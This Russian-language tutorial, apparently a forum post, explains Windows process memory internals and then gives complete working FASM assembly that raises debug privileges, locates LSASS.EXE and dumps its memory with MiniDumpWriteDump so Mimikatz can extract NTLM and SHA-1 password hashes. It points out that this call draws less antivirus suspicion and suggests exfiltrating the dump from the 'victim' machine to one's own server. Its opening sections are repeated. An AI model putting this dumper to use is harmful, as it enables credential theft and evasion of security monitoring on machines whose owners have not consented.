К созданию дампа памяти процесса обычно прибегают редко – как вариант, это может быть или работа с упакованным софтом UPX/ASPack и прочие, или-же кража информации из системных файлов типа lsass.exe (Local Security Authority Subsystem Service), где спрятан хэш пароля пользователя. В природе уже есть масса решающих данную проблему утилит, однако это внешний софт, к услугам которого не желательно прибегать оказавшись на чужбине. В данной статье речь пойдёт о том, как без сторонней помощи похозяйничить в чужом процессе, со всеми вытекающими последствиями.
Оглавление:
1. Базовые сведения о памяти процессов
Вернёмся к истокам и вспомним, как Win-NT распределяла память своим и пользовательским процессам.
Отметим, что за всю историю существования NT мы стали очевидцами координальных изменений, и не маловажную роль сыграли здесь конечно-же вездесущие хакеры, что вынуждало Micrososft укреплять подсистему безопасности своей оси. Как результат, на данный момент нам осталось лишь небольшое окно API, через которое мы можем с пользовательского уровня общаться с системой. В принципе так было, есть и будет, иначе ни о каком прогрессе в сфере ИТ не может быть и речи.
Значит имеем физическую память ОЗУ, которая делится на фреймы одинакового размера по 4КБ. Система ведёт учёт каждого такого блока, для чего предусмотрена специальная база номеров PFN, или Page-Frame-Number. Чтобы увеличить объём доступной памяти, инженеры решили виртуализировать доступ к ОЗУ – теперь одному PFN можно назначить два и более одинаковых вирт.адреса. Так появился термин «виртуальная страница» Virtual-Page, которая по размеру обычно (но не всегда) равна «физическому фрейму» Physical-Frame. Не всегда потому, что размер фрейма статичен 4КБ, зато в вирт.странице могут быть несколько таких фреймов, т.е. размер страницы Page всегда кратен 4К-байтному Frame.
Теперь, на этапе создания нового процесса, система выстраивает для него многоуровневую «Таблицу вирт.страниц» Page-Table, и сохраняет её адрес в регистре процессора
Здесь видно, что вирт.странице
Обратите внимание, что взведённый бит(W) в атрибутах неявно подразумевает и чтение(R). Можно сравнить лог выше с произвольным адресом в пространстве ядра, чтобы была возможность заглянуть в атрибуты его страниц. Например расширение отладчика
С пользовательского уровня, при помощи функций VirtualAlloc/Protect() мы можем менять атрибуты только тех страниц, у которых в записях РТЕ взведён бит(U), иначе получим исключение #AV, или «Access Violation» нарушение прав доступа. Однако некоторые из системных процессов находятся и на территории юзера, а значит мы можем свободно модифицировать их атрибуты, осталось только определиться, зачем? Здесь уже всё зависит от решаемой задачи, а конкретно в нашем случае – это сброс дампа памяти.
1.1. Проецирование и механизм «Copy-On-Write»
Ошибки никому чужды, в том числе и инженерам из Microsoft. Поскольку нужно было с чего-то начинать, механизм проекции системных DLL всем пользовательским процессам был весьма примитивным. По всей вероятности ставка была сделана на честность, но на практике получился бумеранг. Если коротко, то Win-NT4 (2000, или Win2k) загружала запрашиваемые софтом DLL в свою память, после чего присваивала этой памяти атрибут «Share», предоставляя таким образом всем желающим к ней неограниченный доступ. Как результат, любой процесс мог изменить эту память по своему усмотрению, и это распространялось сразу на все пользовательские процессы. Одним словом – коммунизм!
Достаточно быстро пришло озарение, что такую политику надо в корень менять, и теперь системные библиотеки проецируются в каждый ЮМ процесс отдельно, причём с доступом «Только на чтение». Этим занимается загрузчик образов в Ntdll.dll, а точнее его внутренняя Internals-функция LdrpMapViewOfSection(). При попытки записи в область памяти системных DLL, тут-же срабатывает сторожевой механизм «Copy-On-Write», который создаёт копию/дубликат страницы, и вручает её запросившему запись. То есть, мы можем сколь угодно менять содержимое системных библиотек, но эти изменения не выйдут за рамки нашего процесса. Рисунок ниже демонстрирует данную технологию:
Для контроля состояния страниц ядро ОС использует структуру MMPTE, но в силу того, что страница может находиться в 6-ти различных состояниях (например выгружена в своп), в отладчике WinDbg нужно уточнять запрос. В дефолте фреймы ходят под флагом HARDWARE (см.ниже HardPfn), а остальные варианты представлены в логе:
2. Распространённые способы снятия дампов
Теперь рассмотрим, какой тактики придерживается софт для снятия дампа памяти процессов. Зверюшек в этом зоопарке много, поэтому остановимся лишь на парочке наиболее популярных – это «ProcessExplorer» Марка Руссиновича из пакета SysinternalsSuite, а так-же его альтернативе с более расширенными возможностями «ProcessHacker». Посколько эти монстры имеют свои полнофункциональные драйверы режима ядра, им абсолютно безразлично, системный процесс перед ними, или юзер.
Драйвер «Хакера» без заморочек так и называется KрrocessHacker3.sys, а драйвер «ProcessExplorera» немного замаскировался под ником ProcExp152.sys, где цифры в хвосте видимо определяют версию софта v15.2, а потому у вас могут отличаться. Посмотрим, какую инфу об этих драйверах сможет собрать отладчик:
Судя по этим логам, перед нами Legacy-драйвера (т.е. не PnP), поскольку в стеке они единственные, а так-же нет обработчиков запросов
2.1. Плагин для отладчиков «OllyDumpEx»
Ещё со времён легендарного «OllyDbg» на просторах сети можно найти хорошо зарекомендовавший себя плагин «OllyDump», который вобрал в себя всё лучшее из существующих ныне инструментов данного класса. Общественность так привыкла к нему, что с появлением «x64Dbg» энтузиасты переписали его код, в результате чего плаг стал универсальным – он исправно справляется со-своими обязанностями будучи привязанным к такому софту реверсеров как: WinDbg, x64Dbg, IDA-Pro/Free, Immunity Debugger, причём понимает не только формат исполняемых файлов мастдая РЕ, но и линуксовый ELF. Качаем от сюда:
2.2. Дамперы третьего кольца без собственных драйверов
Создать дамп системного процесса из пользовательского режима проблематично по нескольким причинам: во-первых на Win7+ нужно решить вопрос с уровнем целостности объекта «Integrity Level» и обзавестись правами, а во-вторых большая часть процессов и сервисов ОС переместились уже в закрытую сессию(0), подобраться к которой из юзер-сессии(1) не так просто. Но как упоминалось выше, например тот-же процесс клиент-сервера csrss.exe существует в двух экземплярах для сессий(0:1), что добавляет нам оптимизма.
Чтобы снять дамп с произвольно взятого процесса, для начала нужно получить его дескриптор Handle, как этого требует штатная функция ReadProcessMemory(). Таким образом, классический алгоритм чтения чужой памяти реализуется примерно так..
Как видим, на первый взгляд простая задача превращается в нетривиальную, поскольку пункты 3-5 будут иметь смысл только в случае, если мы пройдём первые два кардона защиты. Сторожа на WinXP были более дружелюбны, но с жёсткими ограниченими Win7+ так или иначе приходится мириться. Сейчас это можно сравнить с монеткой «орёл или решка», на что в большинстве случаях надеяться нельзя. Но есть-ли у нас другие варианты?
3. Альтернативные методы
Проблема здесь в том, что по сути имеем дело с роботом, которому трудно объяснить наши благие намерения. Подсистема безопасности функционирует по строго определённому правилу, а его детали зарыты глубоко в нёдрах Win. Если мы сможем передать нужную комбинацию флагов в цепочку вызовов WinAPI, то замок откроется и получим доступ к святая-святых, иначе план рухнет как карточный дом. Именно поэтому рекомендуется использовать функции строго из тех системных библиотек, которые предназначены для решения конкретной взятой задачи, а «доверенные лица» на обоих концах связи сами договорятся уже между собой.
На своей Win7-x64, в папке
В данном случае, интерес для нас представляет либа DbgHelp.dll, в окопах которой притаилась функция MiniDumpWriteDump() – судя по её имени, это как раз то, что доктор прописал. Данная библиотека включена в штатную поставку всех версий Windows начиная с Win2k, а потому её не нужно таскать с собой. Кстати отладчик WinDbg имеет свою версию DbgHelp.dll, которая отличается как по содержимому (добавлены некоторые функции), так и по размеру.
Как видим, на входе она тоже ожидает дескриптор с идентификатором процесса-жертвы, однако преимущество её использования в том, что не нужно в рукопашную искать данные в памяти процесса – мы просто перекладываем эту задачу на тушку самой функции. Более того, классическая функция чтения памяти ReadProcessMemory() вызывает подозрение у антивирусов и различного рода сторожей системы, в то время как MiniDumpWriteDump() не привлекает к себе такого внимания, что непременно играет нам на руку.
Продолжая разговор о специфичных функциях создания дампов отметим, что начиная с Win-8 в составе Kernel32.dll появилась ещё одна удобная функция PssCaptureSnapshot(), где префикс(PS) явно указывает на фронт работы с процессами. Если нам не нужна поддержка систем Win7, то использование этой API вполне оправдывает ожидания.
4. Практическая часть
В практической части напишем код, который сдампит системный процесс LSASS.EXE. На следующем этапе передадим этот дамп софту «Mimikatz», чтобы получить от него хеши пароля пользователя NTLM и SHA-1. Для этого будем преследовать примерно следующий алгоритм:
А вот собственно и практическая реализация сказанного на диалекте ассемблера FASM:
Судя по всему, Mimikatz принял на борт наш дамп, и вывел из него приличный лог со всей подноготной зареганного юзера. На практике этот дамп можно отправить на свой сервак, или иным способом уташить с машины жертвы на свой хост, и исследовать его уже в Mimikatz оффлайн. Здесь главное, что способ рабочий, а значит ему можно найти применение в критических обстоятельствах.
5. Заключение
В памяти системных процессов хранится множество важных артефактов, и этой теме посвящена даже отдельная область «Криминалистический анализ памяти». Как нибудь в следующий раз мы копнём её глубже, например заглянем в файл-подкачки и раскопаем до дна стек. А пока ставлю здесь точку, не забыв прикрепить в скрепку приведённый выше бинарь для тестов, а так-же саму программу «Mimikatz» (64-битную её версию я скачавал давно, и что-то не нашёл сейчас линка – везде только х32). Всем удачи, пока!
Оглавление:
- Базовые сведения о памяти процессов
- Распространённые способы снятия дампов
- Альтернативный метод
- Практика
- Заключение.
1. Базовые сведения о памяти процессов
Вернёмся к истокам и вспомним, как Win-NT распределяла память своим и пользовательским процессам.
Отметим, что за всю историю существования NT мы стали очевидцами координальных изменений, и не маловажную роль сыграли здесь конечно-же вездесущие хакеры, что вынуждало Micrososft укреплять подсистему безопасности своей оси. Как результат, на данный момент нам осталось лишь небольшое окно API, через которое мы можем с пользовательского уровня общаться с системой. В принципе так было, есть и будет, иначе ни о каком прогрессе в сфере ИТ не может быть и речи.
Значит имеем физическую память ОЗУ, которая делится на фреймы одинакового размера по 4КБ. Система ведёт учёт каждого такого блока, для чего предусмотрена специальная база номеров PFN, или Page-Frame-Number. Чтобы увеличить объём доступной памяти, инженеры решили виртуализировать доступ к ОЗУ – теперь одному PFN можно назначить два и более одинаковых вирт.адреса. Так появился термин «виртуальная страница» Virtual-Page, которая по размеру обычно (но не всегда) равна «физическому фрейму» Physical-Frame. Не всегда потому, что размер фрейма статичен 4КБ, зато в вирт.странице могут быть несколько таких фреймов, т.е. размер страницы Page всегда кратен 4К-байтному Frame.
Теперь, на этапе создания нового процесса, система выстраивает для него многоуровневую «Таблицу вирт.страниц» Page-Table, и сохраняет её адрес в регистре процессора
СR3
. На системах х32 уровней в таблице всего 2 (каталог PageDir, и таблица записей PTE = Page-Table-Entry), а на х64 кол-во подкаталогов было увеличено до трёх. Продемонстрировать сказанное может отладчик WinDbg, если передать его расширению !cmkd.ptelist
любой виртуальный адрес, например блока окружения процесса РЕВ (Process Environment Block):
Код:
0: kd> !peb
PEB at 000007fffffdf000
InheritedAddressSpace: No
ReadImageFileExecOptions: No
BeingDebugged: No
ImageBaseAddress: 00000000ff250000
Ldr 0000000076e72e40
Ldr.Initialized: Yes
...........
0: kd> !cmkd.ptelist -v 000007fffffdf000
VA=000007FFFFFDF000
PXE Idx=00F Va=FFFFF6FB7DBED078 Hard Pfn=00075AE3 Attr=---DA--UWEV
PPE Idx=1FF Va=FFFFF6FB7DA0FFF8 Hard Pfn=000758E4 Attr=---DA--UWEV
PDE Idx=1FF Va=FFFFF6FB41FFFFF8 Hard Pfn=00075825 Attr=---DA--UWEV
PTE Idx=1DF Va=FFFFF683FFFFFEF8 Hard Pfn=000756E6 Attr=---DA--UW-V
0: kd>
Здесь видно, что вирт.странице
0x07fffffdf000
соответствует физический PFN=0x0756E6
, который описывает запись РТЕ с индексом Idx=1DF
(см.последнюю строку в логе выше). Но в контексте данной темы нас будут интересовать атрибуты этой страницы – в нашем случае имеем:D = Dirty: грязная/изменённая
A = Accesed: кто-то уже осуществлял к ней доступ
U = UserPage: страница пользовательского режима (иначе Kernel)
W = WriteOnly: доступна для чтения/записи без исполнения(Е)
V = Valid: действительная/валидная страница, которая находится сейчас в памяти.
Обратите внимание, что взведённый бит(W) в атрибутах неявно подразумевает и чтение(R). Можно сравнить лог выше с произвольным адресом в пространстве ядра, чтобы была возможность заглянуть в атрибуты его страниц. Например расширение отладчика
!cmkd.kvas
сбрасывает карту системного пространства (KVAS от Kernel-Virtual-Address-Space):
Код:
0: kd> !cmkd.kvas
### Start End Length Type
000 ffff080000000000 fffff67fffffffff ee8000000000 ( 238 TB) SystemSpace
001 fffff68000000000 fffff6ffffffffff 8000000000 ( 512 GB) PageTables
002 fffff70000000000 fffff77fffffffff 8000000000 ( 512 GB) HyperSpace
003 fffff78000000000 fffff78000000fff 1000 ( 4 KB) SharedSystemPage
004 fffff78000001000 fffff7ffffffffff 7ffffff000 ( 511 GB) CacheWorkingSet
005 fffff80000000000 fffff87fffffffff 8000000000 ( 512 GB) LoaderMappings
006 fffff88000000000 fffff89fffffffff 2000000000 ( 128 GB) SystemPTEs <----- пусть будет S_PTEs
007 fffff8a000000000 fffff8bfffffffff 2000000000 ( 128 GB) PagedPool
008 fffff90000000000 fffff97fffffffff 8000000000 ( 512 GB) SessionSpace
009 fffff98000000000 fffffa7fffffffff 10000000000 ( 1 TB) DynamicKernelVa
010 fffffa8000000000 fffffa80038fffff 3900000 ( 57 MB) PfnDatabase
011 fffffa8003800000 fffffa80c03fffff bcc00000 ( 2 GB) NonPagedPool
012 ffffffffffc00000 ffffffffffffffff 400000 ( 4 MB) HalReserved
0: kd> !cmkd.ptelist fffff88000000000 –v <--------- Адрес SystemPTEs
VA=FFFFF88000000000
PXE Idx=1F1 Va=FFFFF6FB7DBEDF88 Hard Pfn=00127B04 Attr=---DA--KWEV
PPE Idx=000 Va=FFFFF6FB7DBF1000 Hard Pfn=00127B03 Attr=---DA--KWEV
PDE Idx=000 Va=FFFFF6FB7E200000 Hard Pfn=00127B02 Attr=---DA--KWEV
PTE Idx=000 Va=FFFFF6FC40000000 Hard Pfn=00127B11 Attr=-GLDA--KWEV
---------------------
В атрибутах появились биты:
G = Global,
L = Large = большая вирт.страница размером 2 или 4 МБ (512 или 1024 фреймов соответственно)
K = Kernel,
E = Executable.
0: kd>
С пользовательского уровня, при помощи функций VirtualAlloc/Protect() мы можем менять атрибуты только тех страниц, у которых в записях РТЕ взведён бит(U), иначе получим исключение #AV, или «Access Violation» нарушение прав доступа. Однако некоторые из системных процессов находятся и на территории юзера, а значит мы можем свободно модифицировать их атрибуты, осталось только определиться, зачем? Здесь уже всё зависит от решаемой задачи, а конкретно в нашем случае – это сброс дампа памяти.
1.1. Проецирование и механизм «Copy-On-Write»
Ошибки никому чужды, в том числе и инженерам из Microsoft. Поскольку нужно было с чего-то начинать, механизм проекции системных DLL всем пользовательским процессам был весьма примитивным. По всей вероятности ставка была сделана на честность, но на практике получился бумеранг. Если коротко, то Win-NT4 (2000, или Win2k) загружала запрашиваемые софтом DLL в свою память, после чего присваивала этой памяти атрибут «Share», предоставляя таким образом всем желающим к ней неограниченный доступ. Как результат, любой процесс мог изменить эту память по своему усмотрению, и это распространялось сразу на все пользовательские процессы. Одним словом – коммунизм!
Достаточно быстро пришло озарение, что такую политику надо в корень менять, и теперь системные библиотеки проецируются в каждый ЮМ процесс отдельно, причём с доступом «Только на чтение». Этим занимается загрузчик образов в Ntdll.dll, а точнее его внутренняя Internals-функция LdrpMapViewOfSection(). При попытки записи в область памяти системных DLL, тут-же срабатывает сторожевой механизм «Copy-On-Write», который создаёт копию/дубликат страницы, и вручает её запросившему запись. То есть, мы можем сколь угодно менять содержимое системных библиотек, но эти изменения не выйдут за рамки нашего процесса. Рисунок ниже демонстрирует данную технологию:
Для контроля состояния страниц ядро ОС использует структуру MMPTE, но в силу того, что страница может находиться в 6-ти различных состояниях (например выгружена в своп), в отладчике WinDbg нужно уточнять запрос. В дефолте фреймы ходят под флагом HARDWARE (см.ниже HardPfn), а остальные варианты представлены в логе:
Код:
0: kd> dt _mmpte u.
nt!_MMPTE
+0x000 u :
+0x000 Long : Uint8B
+0x000 Hard : _MMPTE_HARDWARE <------ активна и находится сейчас в памяти
+0x000 Proto : _MMPTE_PROTOTYPE <------ после срабатывания механизма «CopyOnWrite»
+0x000 Soft : _MMPTE_SOFTWARE <------ выгружена в файл-подкачки/своп
+0x000 TimeStamp : _MMPTE_TIMESTAMP <------ прочее..
+0x000 Trans : _MMPTE_TRANSITION
+0x000 Subsect : _MMPTE_SUBSECTION
+0x000 List : _MMPTE_LIST
0: kd> !cmkd.ptelist fffff8a0121c7160 -v
VA=FFFFF8A0121C7160
PXE Idx=1F1 Va=FFFFF6FB7DBEDF88 Hard Pfn=00127B04 Attr=---DA--KWEV
PPE Idx=080 Va=FFFFF6FB7DBF1400 Hard Pfn=000030B0 Attr=---DA--KWEV
PDE Idx=090 Va=FFFFF6FB7E280480 Hard Pfn=0010D584 Attr=---DA--KWEV
PTE Idx=1C7 Va=FFFFF6FC50090E38 Hard Pfn=000AC2BB Attr=-G-DA--KW-V
|
+--------------------------+
|
0: kd> dt _mmpte_hardware FFFFF6FC50090E38 <-------+
nt!_MMPTE_HARDWARE
+0x000 Valid : 0y1
+0x000 Owner : 0y0
+0x000 WriteThrough : 0y0
+0x000 CacheDisable : 0y0
+0x000 Accessed : 0y1
+0x000 Dirty : 0y1
+0x000 LargePage : 0y0
+0x000 Global : 0y1
+0x000 CopyOnWrite : 0y0 <---------
+0x000 Write : 0y1
+0x000 PageFrameNumber : 0y000000000000000010101100001010111011 (0x0AC2BB)
+0x000 SoftwareWsIndex : 0y00010110000 (0xb0)
+0x000 NoExecute : 0y1
2. Распространённые способы снятия дампов
Теперь рассмотрим, какой тактики придерживается софт для снятия дампа памяти процессов. Зверюшек в этом зоопарке много, поэтому остановимся лишь на парочке наиболее популярных – это «ProcessExplorer» Марка Руссиновича из пакета SysinternalsSuite, а так-же его альтернативе с более расширенными возможностями «ProcessHacker». Посколько эти монстры имеют свои полнофункциональные драйверы режима ядра, им абсолютно безразлично, системный процесс перед ними, или юзер.
Драйвер «Хакера» без заморочек так и называется KрrocessHacker3.sys, а драйвер «ProcessExplorera» немного замаскировался под ником ProcExp152.sys, где цифры в хвосте видимо определяют версию софта v15.2, а потому у вас могут отличаться. Посмотрим, какую инфу об этих драйверах сможет собрать отладчик:
Код:
0: kd> !drvobj KprocessHacker3
Driver object (fffffa80056ab060) is for: \Driver\KprocessHacker3
Device Object list: fffffa8005599060
0: kd> !devstack fffffa8005599060
!DevObj !DrvObj !DevExt ObjectName
> fffffa8005599060 \Driver\KprocessHacker3 00000000 kprocesshacker3
0: kd> !drvobj KprocessHacker3 7
DriverEntry: fffff88003458064 KProcessHacker
DriverStartIo: 00000000
DriverUnload: fffff880034540ec KProcessHacker
AddDevice: 00000000
Dispatch routines:
[00] IRP_MJ_CREATE fffff88003450008 kprocesshacker+0x1008
[02] IRP_MJ_CLOSE fffff8800345014c kprocesshacker+0x114c
[0e] IRP_MJ_DEVICE_CONTROL fffff88003450198 kprocesshacker+0x1198
---------------------------------------------------
0: kd> !drvobj procexp152
Driver object (fffffa800631b960) is for: \Driver\PROCEXP152
Device Object list: fffffa8004744630
0: kd> !devstack fffffa8004744630
!DevObj !DrvObj !DevExt ObjectName
> fffffa8004744630 \Driver\PROCEXP152 00000000 PROCEXP152
0: kd> !drvobj procexp152 7
DriverEntry: fffff88005bce058 PROCEXP152
DriverStartIo: 00000000
DriverUnload: fffff88005bc7f90 PROCEXP152
AddDevice: 00000000
Dispatch routines:
[00] IRP_MJ_CREATE fffff88005bc6f70 PROCEXP152+0x1f70
[02] IRP_MJ_CLOSE fffff88005bc6f70 PROCEXP152+0x1f70
[0e] IRP_MJ_DEVICE_CONTROL fffff88005bc6f70 PROCEXP152+0x1f70
0: kd>
Судя по этим логам, перед нами Legacy-драйвера (т.е. не PnP), поскольку в стеке они единственные, а так-же нет обработчиков запросов
IRP_MJ_POWER + IRP_MJ_PNP
. Но данный факт никак не ограничивает их свободу по доступу к памяти всех активных процессов, и соответственно созданию дампов. Обратите внимание, что в драйвере PROCEXP152.sys одна процедура по смещению 0x1f70
обслуживает сразу все/три запроса.2.1. Плагин для отладчиков «OllyDumpEx»
Ещё со времён легендарного «OllyDbg» на просторах сети можно найти хорошо зарекомендовавший себя плагин «OllyDump», который вобрал в себя всё лучшее из существующих ныне инструментов данного класса. Общественность так привыкла к нему, что с появлением «x64Dbg» энтузиасты переписали его код, в результате чего плаг стал универсальным – он исправно справляется со-своими обязанностями будучи привязанным к такому софту реверсеров как: WinDbg, x64Dbg, IDA-Pro/Free, Immunity Debugger, причём понимает не только формат исполняемых файлов мастдая РЕ, но и линуксовый ELF. Качаем от сюда:
Ссылка скрыта от гостей
2.2. Дамперы третьего кольца без собственных драйверов
Создать дамп системного процесса из пользовательского режима проблематично по нескольким причинам: во-первых на Win7+ нужно решить вопрос с уровнем целостности объекта «Integrity Level» и обзавестись правами, а во-вторых большая часть процессов и сервисов ОС переместились уже в закрытую сессию(0), подобраться к которой из юзер-сессии(1) не так просто. Но как упоминалось выше, например тот-же процесс клиент-сервера csrss.exe существует в двух экземплярах для сессий(0:1), что добавляет нам оптимизма.
Встроенный в РЕ-Tools дампер
Чтобы снять дамп с произвольно взятого процесса, для начала нужно получить его дескриптор Handle, как этого требует штатная функция ReadProcessMemory(). Таким образом, классический алгоритм чтения чужой памяти реализуется примерно так..
1. Прежде всего добавляем себе привилегию отладки «SeDebugPrivilege» и разрешение на создание бэкапов «SeBackupPrivilege» – вопрос решает AdjustTokenPrivileges().
2. Далее узнаём идентификатор PID процесса-жертвы, например функцией CreateToolhelp32Snapshot() с последующим вызовом в цикле Process32First/Next(). Кстати альтернативным вариантом является тяжёлая артилерия NtQuerySystemInformation() из нативной либы Ntdll.dll.
3. Теперь полученный PID нужно преобразовать в Handle, для чего существует единственная в своём роде функция OpenProcess() – при её вызове желательно ограничиться только необходимыми флагами, например
PROCESS_VM_READ + PROCESS_QUERY_INFORMATION
, поскольку PROCESS_ALL_ACCESS
ожидаемо может вернуть ошибку.
4. Если всё пройдёт успешно и системные сторожа нас не обламают, значит повезло и нужно определиться, какие именно регионы памяти мы хотим сохранить. Самый простой вариант – это оттяпать у процесса всё доступное ему пространство, определив размер функцией VirtualQueryEx(). Но тогда получим много лишнего хлама типа 4К-байтные страницы с РЕ-заголовком, секцию ресурсов, импорта, экспорта, и т.п. где обычно нет ничего интересного. В идеале приходится вручную искать секцию-данных/кода по указателям в РeHeader и SectionTable, чтобы забрать с собой только самое необходимое.
5. На заключительном этапе остаётся потянуть за ReadProcessMemory() со-следующим прототипом:
C++:
BOOL ReadProcessMemory( ;// <------------ Ok = True
[in] HANDLE hProcess, ;// хэндл процесса
[in] LPCVOID lpBaseAddress, ;// адрес для чтения
[out] LPVOID lpBuffer, ;// адрес приёмного буфера
[in] SIZE_T nSize, ;// кол-во байт для чтения
[out] SIZE_T *lpNumberOfBytesRead ;// кол-во реально считанных байт
);
Как видим, на первый взгляд простая задача превращается в нетривиальную, поскольку пункты 3-5 будут иметь смысл только в случае, если мы пройдём первые два кардона защиты. Сторожа на WinXP были более дружелюбны, но с жёсткими ограниченими Win7+ так или иначе приходится мириться. Сейчас это можно сравнить с монеткой «орёл или решка», на что в большинстве случаях надеяться нельзя. Но есть-ли у нас другие варианты?
3. Альтернативные методы
Проблема здесь в том, что по сути имеем дело с роботом, которому трудно объяснить наши благие намерения. Подсистема безопасности функционирует по строго определённому правилу, а его детали зарыты глубоко в нёдрах Win. Если мы сможем передать нужную комбинацию флагов в цепочку вызовов WinAPI, то замок откроется и получим доступ к святая-святых, иначе план рухнет как карточный дом. Именно поэтому рекомендуется использовать функции строго из тех системных библиотек, которые предназначены для решения конкретной взятой задачи, а «доверенные лица» на обоих концах связи сами договорятся уже между собой.
На своей Win7-x64, в папке
..\system32
я насчитал 1750 библиотек DLL (достаточно выделить в TotalCmd), а общее число API-функций в них наверное не знает и сама Microsoft. По именам большинства DLL можно сделать вывод об их предназначении, хотя если задержать указатель мыши, то получим более подробное описание из секции ресурсов файла. Например тотал на комбинацию клавиш Ctrl+Q
или горячую F3
отзывается весьма мощным плагином «Lister», пробежавшись по вкладкам которого можно собрать основную инфу об исполняемом РЕ-файле:В данном случае, интерес для нас представляет либа DbgHelp.dll, в окопах которой притаилась функция MiniDumpWriteDump() – судя по её имени, это как раз то, что доктор прописал. Данная библиотека включена в штатную поставку всех версий Windows начиная с Win2k, а потому её не нужно таскать с собой. Кстати отладчик WinDbg имеет свою версию DbgHelp.dll, которая отличается как по содержимому (добавлены некоторые функции), так и по размеру.
Ссылка скрыта от гостей
прототип этой функции:
C++:
BOOL MiniDumpWriteDump(
[in] HANDLE hProcess, ;// дескриптор процесса-жертвы,
[in] DWORD ProcessId, ;// ... и его PID.
[in] HANDLE hFile, ;// дескриптор открытого файла, куда сбросится дамп
[in] MINIDUMP_TYPE DumpType, ;// тип дампа: Minidump(0) или Fulldump(2).
[in] PMINIDUMP_EXCEPTION_INFORMATION ExceptionParam, ;// 0
[in] PMINIDUMP_USER_STREAM_INFORMATION UserStreamParam, ;// 0
[in] PMINIDUMP_CALLBACK_INFORMATION CallbackParam ;// 0
);
Как видим, на входе она тоже ожидает дескриптор с идентификатором процесса-жертвы, однако преимущество её использования в том, что не нужно в рукопашную искать данные в памяти процесса – мы просто перекладываем эту задачу на тушку самой функции. Более того, классическая функция чтения памяти ReadProcessMemory() вызывает подозрение у антивирусов и различного рода сторожей системы, в то время как MiniDumpWriteDump() не привлекает к себе такого внимания, что непременно играет нам на руку.
Продолжая разговор о специфичных функциях создания дампов отметим, что начиная с Win-8 в составе Kernel32.dll появилась ещё одна удобная функция PssCaptureSnapshot(), где префикс(PS) явно указывает на фронт работы с процессами. Если нам не нужна поддержка систем Win7, то использование этой API вполне оправдывает ожидания.
4. Практическая часть
В практической части напишем код, который сдампит системный процесс LSASS.EXE. На следующем этапе передадим этот дамп софту «Mimikatz», чтобы получить от него хеши пароля пользователя NTLM и SHA-1. Для этого будем преследовать примерно следующий алгоритм:
- OpenProcessToken() + AdjustTokenPrivileges() для повышения своих привелегий;
- CreateToolhelp32Snapshot() + Process32First/Next() – поиск идентификатора PID процесса LSASS.EXE;
- OpenProcess() с правами PROCESS_VM_READ + PROCESS_QUERY_INFORMATION – получить Handle из PID;
- CreateFile() для создания пустого файла дампа;
- MiniDumpWriteDump() сбрасывает в указанный файл дамп памяти процесса LSASS.EXE;
- CloseHandle() – закрывает все отрытые дескрипторы.
А вот собственно и практическая реализация сказанного на диалекте ассемблера FASM:
C-подобный:
format pe64 console
include 'win64ax.inc'
entry start
;//-----------
section '.data' data readable writable
newState: ;//<-----<---- Структура "TOKEN_PRIVILEGES"
Count dd 2
Luid1 dq 0
Attribute1 dd SE_PRIVILEGE_ENABLED
Luid2 dq 0
Attribute2 dd SE_PRIVILEGE_ENABLED
align 16
struct PROCESSENTRY32
dwSize dd sizeof.PROCESSENTRY32
cntUsage dd 0 ;// резерв
th32ProcessID dd 0 ;// PID
th32DefaultHeapID dd 0 ;// резерв
th32ModuleID dd 0 ;// резерв
cntThreads dd 0 ;// кол-во потоков
th32ParentProcessID dq 0 ;// PID родителя
pcPriClassBase dd 0 ;// базовый приоритет потоков
dwFlags dq 0 ;// резерв
szExeFile rb MAX_PATH ;// имя процесса
ends
TH32CS_SNAPPROCESS = 2
MiniDumpWithFullMemory = 2
procEntry PROCESSENTRY32
Snapshot dd 0
lsassHndl dq 0
hFile dq 0
hToken dq 0
dumpName db 'Lsass.dmp',0
buff db 0
;//-------------------------------------
section '.code' code readable executable
start: sub rsp,8
invoke SetConsoleTitle,<' *** Lsass Memory Damper ***',0>
;//----- Открываем токен своего процесса
invoke GetCurrentProcess
invoke OpenProcessToken,rax,\
TOKEN_QUERY + TOKEN_ADJUST_PRIVILEGES,\
hToken
or rax,rax
jnz @f
cinvoke printf,<10,' Error OpenProcessToken()',0>
jmp @exit
;//----- Получаем LUID'ы привилегий по их именам
@@: invoke LookupPrivilegeValue,0,<'SeDebugPrivilege' ,0>,Luid1
invoke LookupPrivilegeValue,0,<'SeBackupPrivilege',0>,Luid2
;//----- Выставляем привилегии в токене!
invoke AdjustTokenPrivileges,[hToken],0,newState,0,0,0
or rax,rax
jnz @f
cinvoke printf,<10,' fn. AdjustTokenPrivileges() error!',0>
jmp @exit
@@: cinvoke printf,<10,' Debug privelege OK!',0>
;//----- Собираем инфу об активных процессах системы
invoke CreateToolhelp32Snapshot,TH32CS_SNAPPROCESS,0
mov [Snapshot],eax
;//----- Ищем в буфере процесс LSASS.EXE
invoke Process32First,eax,procEntry
@@: invoke Process32Next,[Snapshot],procEntry
or eax,eax
je @stop
lea rax,[procEntry.szExeFile]
cmp dword[rax],'lsas' ;// наш процесс?
jne @b ;// нет продолжить..
;//----- Пытаемся из PID получить Handle
@stop: invoke OpenProcess,PROCESS_VM_READ + PROCESS_QUERY_INFORMATION,\
0,[procEntry.th32ProcessID]
or eax,eax
jnz @f
cinvoke printf,<10,' Lsass.exe OpenProcess() Error!',0>
jmp @exit
@@: mov [lsassHndl],rax
;//----- Создаём файл дампа и сбрасываем в него память
invoke _lcreat,dumpName,0
mov [hFile],rax
invoke MiniDumpWriteDump,[lsassHndl],[procEntry.th32ProcessID],[hFile],\
MiniDumpWithFullMemory,0,0,0
;//----- Покажем имя и размер созданного дампа
invoke GetFileSize,[hFile],0
cinvoke printf,<10,' %s size: %d Byte',0>,dumpName,rax
;//----- Освобождаем все дескрипторы
invoke _lclose,[hFile]
invoke CloseHandle,[lsassHndl]
invoke CloseHandle,[Snapshot]
@exit: cinvoke _getch
cinvoke exit, 0
;//----------------------------------
section '.idata' import data readable
library msvcrt,'msvcrt.dll', advapi32,'advapi32.dll',\
kernel32,'kernel32.dll', dbghelp,'dbghelp.dll'
import dbghelp,MiniDumpWriteDump,'MiniDumpWriteDump'
include 'api\msvcrt.inc'
include 'api\kernel32.inc'
include 'api\advapi32.inc'
include 'equates\advapi32.inc'
Судя по всему, Mimikatz принял на борт наш дамп, и вывел из него приличный лог со всей подноготной зареганного юзера. На практике этот дамп можно отправить на свой сервак, или иным способом уташить с машины жертвы на свой хост, и исследовать его уже в Mimikatz оффлайн. Здесь главное, что способ рабочий, а значит ему можно найти применение в критических обстоятельствах.
5. Заключение
